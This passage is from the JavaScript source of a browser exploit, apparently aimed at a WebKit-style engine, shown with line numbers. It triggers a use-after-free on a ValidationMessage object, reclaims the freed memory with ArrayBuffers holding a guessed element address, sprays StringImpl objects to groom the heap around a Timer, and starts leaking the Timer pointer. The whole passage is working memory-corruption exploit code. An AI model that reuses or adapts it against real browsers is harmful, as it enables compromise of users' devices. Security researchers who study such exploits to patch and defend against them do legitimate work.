()
| 317 | } |
| 318 | |
| 319 | function reuseTargetObj() { |
| 320 | /* Delete ValidationMessage instance */ |
| 321 | document.body.appendChild(g_input); |
| 322 | |
| 323 | /* |
| 324 | * Free ValidationMessage neighboors. |
| 325 | * SmallLine is freed -> SmallPage is cached |
| 326 | */ |
| 327 | for (let i = NB_FRAMES / 2 - 0x10; i < NB_FRAMES / 2 + 0x10; i++) |
| 328 | g_frames[i].setAttribute("rows", ','); |
| 329 | |
| 330 | /* Get back target object */ |
| 331 | for (let i = 0; i < NB_REUSE; i++) { |
| 332 | let ab = new ArrayBuffer(LENGTH_VALIDATION_MESSAGE); |
| 333 | let view = new Float64Array(ab); |
| 334 | |
| 335 | view[0] = guess_htmltextarea_addr.asDouble(); // m_element |
| 336 | view[3] = guess_htmltextarea_addr.asDouble(); // m_bubble |
| 337 | |
| 338 | g_arr_ab_1.push(view); |
| 339 | } |
| 340 | |
| 341 | if (g_round == 1) { |
| 342 | /* |
| 343 | * Spray a couple of StringImpl obj. prior to Timer allocation |
| 344 | * This will force Timer allocation on same SmallPage as our Strings |
| 345 | */ |
| 346 | sprayStringImpl(0, SPRAY_STRINGIMPL); |
| 347 | |
| 348 | g_frames = []; |
| 349 | g_round += 1; |
| 350 | g_input = input3; |
| 351 | |
| 352 | setTimeout(confuseTargetObjRound1, 10); |
| 353 | } else { |
| 354 | setTimeout(confuseTargetObjRound2, 10); |
| 355 | } |
| 356 | } |
| 357 | |
| 358 | function dumpTargetObj() { |
| 359 | debug_log("[+] m_timer: " + g_timer_leak); |
nothing calls this directly
no test coverage detected